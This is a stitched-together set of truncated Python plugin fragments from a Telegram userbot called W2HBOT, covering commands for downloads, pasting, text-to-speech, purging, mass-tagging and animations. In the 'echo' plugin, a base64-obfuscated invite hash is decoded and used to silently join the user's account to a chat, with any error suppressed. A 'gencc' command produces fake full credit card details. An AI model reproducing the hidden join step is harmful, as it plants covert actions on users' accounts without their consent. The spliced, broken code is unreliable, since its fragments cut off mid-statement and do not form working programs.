# credits: @Mr_Hops from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from userbot import CMD_HELP from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply from userbot.cmdhelp import CmdHelp @bot.on(admin_cmd(pattern="recognize ?(.*)", outgoing=True)) @bot.on(sudo_cmd(pattern="recognize ?(.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return if not event.reply_to_msg_id: await edit_or_reply(event, "Reply to any user's media message.") return reply_message = await event.get_reply_message() if not reply_message.media: await edit_or_reply(event, "reply to media file") return chat = "@Rekognition_Bot" reply_message.sender if reply_message.sender.bot: await edit_or_reply(event, "Reply to actual users message.") return W2H = await edit_or_reply(event, "recognizeing this media") async with event.client.conversation(chat) as conv: try: response = conv.wait_event(
level=logging.WARNING) def progress(current, total): logger.info("Downloaded {} of {}\nCompleted {}".format( current, total, (current / total) * 100)) DOGBIN_URL = "https://del.dog/" BOTLOG_CHATID = Config.PRIVATE_GROUP_BOT_API_ID BOTLOG = True @bot.on(admin_cmd(pattern="paste ?(.*)", outgoing=True)) @bot.on(sudo_cmd(pattern="paste ?(.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return start = datetime.now() if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) input_str = event.pattern_match.group(1) message = "SYNTAX: `.paste <long text to include>`" if input_str: message = input_str elif event.reply_to_msg_id: previous_message = await event.get_reply_message() if previous_message.media: downloaded_file_name = await borg.download_media( previous_message,
import math import os import time from datetime import datetime from pySmartDL import SmartDL from userbot import ALIVE_NAME, CMD_HELP from W2HBOT.utils import admin_cmd, humanbytes, progress, sudo_cmd from userbot.cmdhelp import CmdHelp DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "W2H User" @bot.on(admin_cmd(pattern="download(?: |$)(.*)", outgoing=True)) @bot.on(sudo_cmd(pattern="download(?: |$)(.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return mone = await edit_or_reply(event, "`Processing ...`") input_str = event.pattern_match.group(1) if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) if event.reply_to_msg_id: start = datetime.now() reply_message = await event.get_reply_message() try: c_time = time.time() downloaded_file_name = await event.client.download_media( reply_message, Config.TMP_DOWNLOAD_DIRECTORY,
os.remove(image) return filename def convert_tosticker(response, filename=None): filename = filename or os.path.join("./temp/", "temp.webp") image = Image.open(response) if image.mode != "RGB": image.convert("RGB") image.save(filename, "webp") os.remove(response) return filename @bot.on(admin_cmd(pattern="(rmbg|srmbg) ?(.*)")) @bot.on(sudo_cmd(pattern="(rmbg|srmbg) ?(.*)", allow_sudo=True)) async def remove_background(event): if Config.REM_BG_API_KEY is None: return await edit_or_reply( event, "You have to set `REM_BG_API_KEY` in Config vars with API token from remove.bg to use this module" ) cmd = event.pattern_match.group(1) input_str = event.pattern_match.group(2) message_id = await reply_id(event) if event.reply_to_msg_id and not input_str: reply_message = await event.get_reply_message() W2Hevent = await edit_or_reply(event, "`Analysing...`") file_name = os.path.join(TEMP_DIR, "rmbg.png") try: await event.client.download_media(reply_message, file_name)
.tts LanguageCode as reply to a message .tts LangaugeCode | text to speak""" import asyncio import os import subprocess from datetime import datetime from gtts import gTTS from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply from userbot.cmdhelp import CmdHelp @bot.on(admin_cmd(pattern=r"tts (.*)")) @bot.on(sudo_cmd(pattern=r"tts (.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) start = datetime.now() if event.reply_to_msg_id: previous_message = await event.get_reply_message() text = previous_message.message lan = input_str elif "|" in input_str: lan, text = input_str.split("|") else: await edit_or_reply(event, "Invalid Syntax. Module stopping.") return text = text.strip()
for x in range(len(time_list)): time_list[x] = str(time_list[x]) + time_suffix_list[x] if len(time_list) == 4: ping_time += time_list.pop() + ", " time_list.reverse() ping_time += ":".join(time_list) return ping_time uptime = get_readable_time((time.time() - StartTime)) @bot.on(admin_cmd(outgoing=True, pattern="w2h$")) @bot.on(sudo_cmd(pattern="w2h$", allow_sudo=True)) async def amireallyalive(alive): if alive.fwd_from: return reply_to_id = await reply_id(alive) if W2H_IMG: W2H_caption = f"**{CUSTOM_ALIVE_TEXT}**\n" W2H_caption += f"~~~~~~~~~~~~~~~~~~~~~~~\n" W2H_caption += f" __**BOT STATUS**__\n\n" W2H_caption += f"**★ Telethon version :** `{version.__version__}`\n" W2H_caption += f"**★ W2HBOT :**`{W2Hversion}`\n" W2H_caption += f"**★ Uptime :** `{uptime}\n`" W2H_caption += f"**★ Master:** {mention}\n" await alive.client.send_file(alive.chat_id, W2H_IMG,
"""Get Telegram Profile Picture and other information Syntax: .ppg @username""" import html from telethon.tl.functions.photos import GetUserPhotosRequest from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName from telethon.utils import get_input_location from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply @borg.on(admin_cmd(pattern="ppg ?(.*)", outgoing=True)) @borg.on(sudo_cmd(pattern="ppg ?(.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return replied_user, error_i_a = await get_full_user(event) if replied_user is None: await edit_or_reply(event, str(error_i_a)) return False replied_user_profile_photos = await borg( GetUserPhotosRequest( user_id=replied_user.user.id, offset=42, max_id=0, limit=80 ) ) replied_user_profile_photos_count = "NaN" try: replied_user_profile_photos_count = replied_user_profile_photos.count except AttributeError:
# display iterables one after another at the base indentation level result.append("\n") indent += 2 for x in obj: result.append(" " * indent) result.append(yaml_format(x, indent)) result.append("\n") result.pop() indent -= 2 result.append(" " * indent) else: result.append(repr(obj)) return "".join(result) @bot.on(admin_cmd(pattern=r"new", outgoing=True)) @bot.on(sudo_cmd(pattern=r"new", allow_sudo=True)) async def _(event): if not event.message.is_reply: return msg = await event.message.get_reply_message() yaml_text = yaml_format(msg) await edit_or_reply(event, yaml_text, parse_mode=parse_pre) CmdHelp("new").add_command( "new", None, "Pretty formats the given object as a YAML string which is returned.(based on TLObject.pretty_format)" ).add()
# Licensed under the Raphielscape Public License, Version 1.c (the "License"); # you may not use this file except in compliance with the License. # """ Userbot module for purging unneeded messages(usually spam or ot). """ from asyncio import sleep from telethon.errors import rpcbaseerrors from userbot import BOTLOG, BOTLOG_CHATID, CMD_HELP from W2HBOT.utils import admin_cmd, errors_handler, sudo_cmd, edit_or_reply from userbot.cmdhelp import CmdHelp @bot.on(admin_cmd(pattern=r"purge", outgoing=True)) @bot.on(sudo_cmd(pattern=r"purge", allow_sudo=True)) @errors_handler async def fastpurger(purg): """ For .purge command, purge all messages starting from the reply. """ chat = await purg.get_input_chat() msgs = [] count = 0 async for msg in purg.client.iter_messages(chat, min_id=purg.reply_to_msg_id): msgs.append(msg) count = count + 1 msgs.append(purg.reply_to_msg_id) if len(msgs) == 100: await purg.client.delete_messages(chat, msgs) msgs = []
import requests from userbot import CMD_HELP from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply from userbot.cmdhelp import CmdHelp @bot.on(admin_cmd(pattern="dns (.*)", outgoing=True)) @bot.on(sudo_cmd(pattern="dns (.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) sample_url = "https://da.gd/dns/{}".format(input_str) response_api = requests.get(sample_url).text if response_api: await edit_or_reply( event, "DNS records of [This link]({}) are \n{}".format( input_str, response_api, link_preview=False)) else: await edit_or_reply( event, "i can't seem to find [this link]({}) on the internet".format( input_str, link_preview=False)) @bot.on(admin_cmd(pattern="url (.*)", outgoing=True)) @bot.on(sudo_cmd(pattern="url (.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return
import asyncio from collections import deque from userbot import * from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd from userbot.cmdhelp import CmdHelp DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "W2H User" @bot.on(admin_cmd(pattern=r"boxs$", outgoing=True)) @bot.on(sudo_cmd(pattern=r"boxs$", allow_sudo=True)) async def _(event): if event.fwd_from: return event = await edit_or_reply(event, "`boxs...`") deq = deque(list("🟥🟧🟨🟩🟦🟪🟫⬛⬜")) for _ in range(999): await asyncio.sleep(0.3) await event.edit("".join(deq)) deq.rotate(1) @bot.on(admin_cmd(pattern=r"rain$", outgoing=True)) @bot.on(sudo_cmd(pattern=r"rain$", allow_sudo=True)) async def _(event): if event.fwd_from: return event = await edit_or_reply(event, "`Raining.......`") deq = deque(list("🌬☁️🌩🌨🌧🌦🌥⛅🌤")) for _ in range(48):
from userbot import CMD_HELP from userbot.helpers.functions import ( convert_toimage, deEmojify, phcomment, threats, trap, trash, ) from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd from userbot.cmdhelp import CmdHelp from . import * @bot.on(admin_cmd(pattern="threats(?: |$)(.*)")) @bot.on(sudo_cmd(pattern="threats(?: |$)(.*)", allow_sudo=True)) async def W2HBOT(W2Hmemes): replied = await W2Hmemes.get_reply_message() if not os.path.isdir("./temp/"): os.makedirs("./temp/") if not replied: await edit_or_reply( W2Hmemes, "`Media file not supported. Reply to a supported media`") return if replied.media: W2Hmemmes = await edit_or_reply(W2Hmemes, "`Detecting Threats.........`") else: await edit_or_reply( W2Hmemes, "`Media file not supported. Reply to a suported media`") return
int(snip.media_access_hash), snip.media_file_reference) else: media = None message_id = event.message.id if event.reply_to_msg_id: message_id = event.reply_to_msg_id await borg.send_message(event.chat_id, snip.reply, reply_to=message_id, file=media) await event.delete() @bot.on(admin_cmd(pattern="snips (.*)")) @bot.on(sudo_cmd(pattern="snips (.*)", allow_sudo=True)) async def on_snip_save(event): name = event.pattern_match.group(1) msg = await event.get_reply_message() if msg: snip = {'type': TYPE_TEXT, 'text': msg.message or ''} if msg.media: media = None if isinstance(msg.media, types.MessageMediaPhoto): media = utils.get_input_photo(msg.media.photo) snip['type'] = TYPE_PHOTO elif isinstance(msg.media, types.MessageMediaDocument): media = utils.get_input_document(msg.media.document) snip['type'] = TYPE_DOCUMENT if media: snip['id'] = media.id
"""Schedule Plugin for @UniBorg Syntax: .schd <time_in_seconds> ;=; <message to send>""" import asyncio from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply from userbot.cmdhelp import CmdHelp @bot.on(admin_cmd(pattern="schd ?(.*)", outgoing=True)) @bot.on(sudo_cmd(pattern="schd ?(.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) ttl = 0 message = "SYNTAX: `.schd <time_in_seconds> - <message to send>`" if input_str: await event.delete() if "-" in input_str: ttl, message = input_str.split("-") elif event.reply_to_msg_id: await event.delete() ttl = int(input_str) message = await event.get_reply_message() await asyncio.sleep(int(ttl)) await event.respond(message) else: await event.edit(message) CmdHelp("schedule").add_command("schd", "<time in secs> - <msg to send>",
import asyncio from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply from userbot.cmdhelp import CmdHelp @bot.on(admin_cmd(pattern="phub$", outgoing=True)) @bot.on(sudo_cmd(pattern="phub$", allow_sudo=True)) async def _(event): if event.fwd_from: return animation_interval = 0.5 animation_ttl = range(0, 101) await edit_or_reply(event, "phub") animation_chars = [ "P_", "PO_", "POR_", "PORN_", "PORNH_", "PORNHU_", "PORNHUB_", "PORNHUB", ]
import os from faker import Faker import datetime from telethon import functions, types, events from telethon.tl.functions.messages import DeleteHistoryRequest from telethon.errors.rpcerrorlist import YouBlockedUserError from telethon.tl.functions.account import UpdateNotifySettingsRequest from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply from W2HBOT import CmdHelp, bot as W2HBOT @W2HBOT.on(admin_cmd("gencc$")) @W2HBOT.on(sudo_cmd("gencc$", allow_sudo=True)) async def _(W2Hevent): if W2Hevent.fwd_from: return W2Hcc = Faker() W2Hname = W2Hcc.name() W2Hadre = W2Hcc.address() W2Hcard = W2Hcc.credit_card_full() await edit_or_reply(W2Hevent, f"__**👤 NAME :- **__\n`{W2Hname}`\n\n__**🏡 ADDRESS :- **__\n`{W2Hadre}`\n\n__**💸 CARD :- **__\n`{W2Hcard}`") @W2HBOT.on(admin_cmd(pattern="bin ?(.*)")) @W2HBOT.on(sudo_cmd(pattern="bin ?(.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return W2H_input = event.pattern_match.group(1)
await var.edit("`Getting information to deleting variable...`") try: variable = var.pattern_match.group(2).split()[0] except IndexError: return await var.edit( "`Please specify ConfigVars you want to delete`") await asyncio.sleep(1.5) if variable in heroku_var: await var.edit(f"**{variable}** `successfully deleted`") del heroku_var[variable] else: return await var.edit(f"**{variable}** `is not exists`") @bot.on(admin_cmd(pattern="usage(?: |$)", outgoing=True)) @bot.on(sudo_cmd(pattern="usage(?: |$)", allow_sudo=True)) async def dyno_usage(dyno): if dyno.fwd_from: return """ Get your account Dyno Usage """ await edit_or_reply(dyno, "`Processing...`") useragent = ("Mozilla/5.0 (Linux; Android 10; SM-G975F) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/80.0.3987.149 Mobile Safari/537.36") user_id = Heroku.account().id headers = { "User-Agent": useragent, "Authorization": f"Bearer {Var.HEROKU_API_KEY}", "Accept": "application/vnd.heroku+json; version=3.account-quotas",
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2 from telethon.tl.types import ChannelParticipantsAdmins from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply from userbot.cmdhelp import CmdHelp @bot.on(admin_cmd(pattern=r"tagall (.*)", outgoing=True)) @bot.on(sudo_cmd(pattern=r"tagall (.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return mentions = event.pattern_match.group(1) chat = await event.get_input_chat() async for x in borg.iter_participants(chat, 100): mentions += f" \n [{x.first_name}](tg://user?id={x.id})" await event.reply(mentions) await event.delete() @bot.on(admin_cmd(pattern=r"admins", outgoing=True)) @bot.on(sudo_cmd(pattern=r"admins", allow_sudo=True)) async def _(event): if event.fwd_from: return mentions = "Administrators : " chat = await event.get_input_chat() async for x in borg.iter_participants(chat, filter=ChannelParticipantsAdmins):
global groupsid groupsid = [] async def all_groups_id(W2H): W2Hgroups = [] async for dialog in W2H.client.iter_dialogs(): entity = dialog.entity if isinstance(entity, Channel) and entity.megagroup: W2Hgroups.append(entity.id) return W2Hgroups @bot.on(admin_cmd(pattern="frwd$")) @bot.on(sudo_cmd(pattern="frwd$", allow_sudo=True)) async def _(event): if event.fwd_from: return if Config.PRIVATE_GROUP_BOT_API_ID is None: await edit_or_reply( event, "Please set the required environment variable `PRIVATE_GROUP_BOT_API_ID` for this plugin to work", ) return try: e = await event.client.get_entity(Config.PRIVATE_GROUP_BOT_API_ID) except Exception as e: await edit_or_reply(event, str(e)) else: re_message = await event.get_reply_message()
import asyncio from collections import deque from userbot import CMD_HELP from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd from userbot.cmdhelp import CmdHelp @bot.on(admin_cmd(pattern="think$", outgoing=True)) @bot.on(sudo_cmd(pattern="think$", allow_sudo=True)) async def _(event): if event.fwd_from: return event = await edit_or_reply(event, "think") deq = deque(list("🤔🧐🤔🧐🤔🧐")) for _ in range(48): await asyncio.sleep(0.1) await event.edit("".join(deq)) deq.rotate(1) @bot.on(admin_cmd(pattern="ccry$", outgoing=True)) @bot.on(sudo_cmd(pattern="ccry$", allow_sudo=True)) async def cry(e): if e.fwd_from: return if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): await e.edit("(;´༎ຶД༎ຶ)") @bot.on(admin_cmd(pattern="fap$", outgoing=True)) @bot.on(sudo_cmd(pattern="fap$", allow_sudo=True)) async def _(event):
"""Inputs time in milliseconds, to get beautified time, as string""" seconds, milliseconds = divmod(int(milliseconds), 1000) minutes, seconds = divmod(seconds, 60) hours, minutes = divmod(minutes, 60) days, hours = divmod(hours, 24) tmp = (((str(days) + " day(s), ") if days else "") + ((str(hours) + " hour(s), ") if hours else "") + ((str(minutes) + " minute(s), ") if minutes else "") + ((str(seconds) + " second(s), ") if seconds else "") + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "")) return tmp[:-2] @bot.on(admin_cmd(pattern="yt(a|v) (.*)")) @bot.on(sudo_cmd(pattern="yt(a|v) (.*)", allow_sudo=True)) async def download_video(v_url): if v_url.fwd_from: return """ For .ytdl command, download media from YouTube and many other sites. """ url = v_url.pattern_match.group(2) type = v_url.pattern_match.group(1).lower() await edit_or_reply(v_url, "`Preparing to download...`") if type == "a": opts = { "format": "bestaudio", "addmetadata": True,
import time from telethon.events import NewMessage from telethon.tl.custom import Dialog from telethon.tl.types import Channel, Chat, User from userbot import CMD_HELP from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd from userbot.cmdhelp import CmdHelp @bot.on(admin_cmd(pattern="stats$")) @bot.on(sudo_cmd(pattern="stats$", allow_sudo=True)) async def stats( event: NewMessage.Event, ) -> None: # pylint: disable = R0912, R0914, R0915 """Command to get stats about the account""" W2H = await edit_or_reply(event, "`Collecting stats...`") start_time = time.time() private_chats = 0 bots = 0 groups = 0 broadcast_channels = 0 admin_in_groups = 0 creator_in_groups = 0 admin_in_broadcast_channels = 0 creator_in_channels = 0 unread_mentions = 0 unread = 0 dialog: Dialog async for dialog in event.client.iter_dialogs(): entity = dialog.entity
if name == "play": name = "Google Play Movies" return name[0].upper() + name[1:] def get_provider(url): url = url.replace("https://www.", "") url = url.replace("https://", "") url = url.replace("http://www.", "") url = url.replace("http://", "") url = url.split(".")[0] return url @bot.on(admin_cmd(pattern="watch (.*)")) @bot.on(sudo_cmd(pattern="watch (.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return query = event.pattern_match.group(1) await edit_or_reply(event, "Finding Sites...") streams = get_stream_data(query) title = streams["title"] thumb_link = streams["movie_thumb"] release_year = streams["release_year"] release_date = streams["release_date"] scores = streams["score"] try: imdb_score = scores["imdb"] except KeyError: imdb_score = None
import random import textwrap from PIL import Image, ImageDraw, ImageFont from telethon.tl.types import InputMessagesFilterDocument from userbot import bot from userbot.helpers.functions import deEmojify from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd from userbot.cmdhelp import CmdHelp # RegEx by https://t.me/c/1220993104/50065 @bot.on(admin_cmd(pattern="waifu(?: |$)(.*)", outgoing=True)) @bot.on(sudo_cmd(pattern="waifu(?: |$)(.*)", allow_sudo=True)) async def waifu(animu): # """Creates random anime sticker!""" text = animu.pattern_match.group(1) if not text: if animu.is_reply: text = (await animu.get_reply_message()).message else: await animu.edit("`You haven't written any article, Waifu is going away.`") return animus = [1, 3, 7, 9, 13, 22, 34, 35, 36, 37, 43, 44, 45, 52, 53, 55] sticcers = await bot.inline_query( "stickerizerbot", f"#{random.choice(animus)}{(deEmojify(text))}" ) await sticcers[0].click(
"""Thakn You @pureindialover """ import asyncio from W2HBOT.utils import admin_cmd, sudo_cmd, edit_or_reply from userbot.cmdhelp import CmdHelp from userbot.plugins.sql_helper.mute_sql import is_muted, mute, unmute @bot.on(admin_cmd(pattern="mute ?(\d+)?", outgoing=True)) @bot.on(sudo_cmd(pattern="mute ?(\d+)?", allow_sudo=True)) async def startmute(event): private = False if event.fwd_from: return elif event.is_private: await edit_or_reply(event, "Shut The Fukk Up!!!!!") await asyncio.sleep(3) private = True if any([ x in event.raw_text for x in ( "/mute", "!mute", "amute", "bmute", "cmute", "dmute", "emute", "fmute", "gmute", "hmute",
from telethon import events from telethon.tl.functions.messages import ImportChatInviteRequest as Get from userbot import CMD_HELP from userbot.plugins.sql_helper.echo_sql import ( addecho, get_all_echos, is_echo, remove_echo, ) from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd from userbot.cmdhelp import CmdHelp @bot.on(admin_cmd(pattern="echo$")) @bot.on(sudo_cmd(pattern="echo$", allow_sudo=True)) async def echo(W2H): if W2H.fwd_from: return if W2H.reply_to_msg_id is not None: reply_msg = await W2H.get_reply_message() user_id = reply_msg.sender_id chat_id = W2H.chat_id try: aura = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") aura = Get(aura) await W2H.client(aura) except BaseException: pass if is_echo(user_id, chat_id): await edit_or_reply(W2H, "The user is already enabled with echo ")
from userbot import ALIVE_NAME, CMD_HELP from W2HBOT.utils import admin_cmd, edit_or_reply, sudo_cmd from userbot.cmdhelp import CmdHelp DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "W2H User" USERID = bot.uid mention = f"[{DEFAULTUSER}](tg://user?id={USERID})" @bot.on(admin_cmd(pattern="carry (.*)")) @bot.on(sudo_cmd(pattern="carry (.*)", allow_sudo=True)) async def aura(carry): if carry.fwd_from: return name = carry.pattern_match.group(1) await edit_or_reply( carry, f"**Carry ~> {name} .**\n\n ⣤⣶⣶⣶⣦⣤⣄⡀\n⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀\n⠀⠀⠀⢀⣾⣿⣿⣿⠿⠿⠟⠻⠿⢿⣿⣿⣿⡆\n⠀⠀⠀⢰⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀ ⠈⠉⢻⡇ \n⠀⠀⠀⠈⠿⣿⣇⣠⠤⠤⠤⢤⣀⣤⠤⠤⣺⡏ \n⠀⠀⠀⠀⠐⢉⣯⠹⣀⣀⣢⡸⠉⢏⡄⣀⣯⠁ \n⠀⠀⠀⠀⠡⠀⢹⣆⠀⠀⠀⣀⡀⡰⠀⢠⠖⠂ \n⠀⠀⠀⠀⠀⠈⠙⣿⣿⠀⠠⠚⢋⡁⠀⡜ \n⠀⠀⠀⠀⠀⠀⢸⠈⠙⠦⣤⣀⣤⣤⡼⠁ \n⠀⠀⠀ ⠀⢀⡌⠀⠀⠀⠀ ⠉⢏⡉ \n⠀⠀⠀⣀⣴⣿⣷⣶⣤⣤⣤⣴⣾⣷⣶⣦⡀ \n⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄ \n⠚⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛", ) @bot.on(admin_cmd(pattern="ded (.*)")) @bot.on(sudo_cmd(pattern="ded (.*)", allow_sudo=True)) async def aura(ded): if ded.fwd_from: return name = ded.pattern_match.group(1) await edit_or_reply( ded,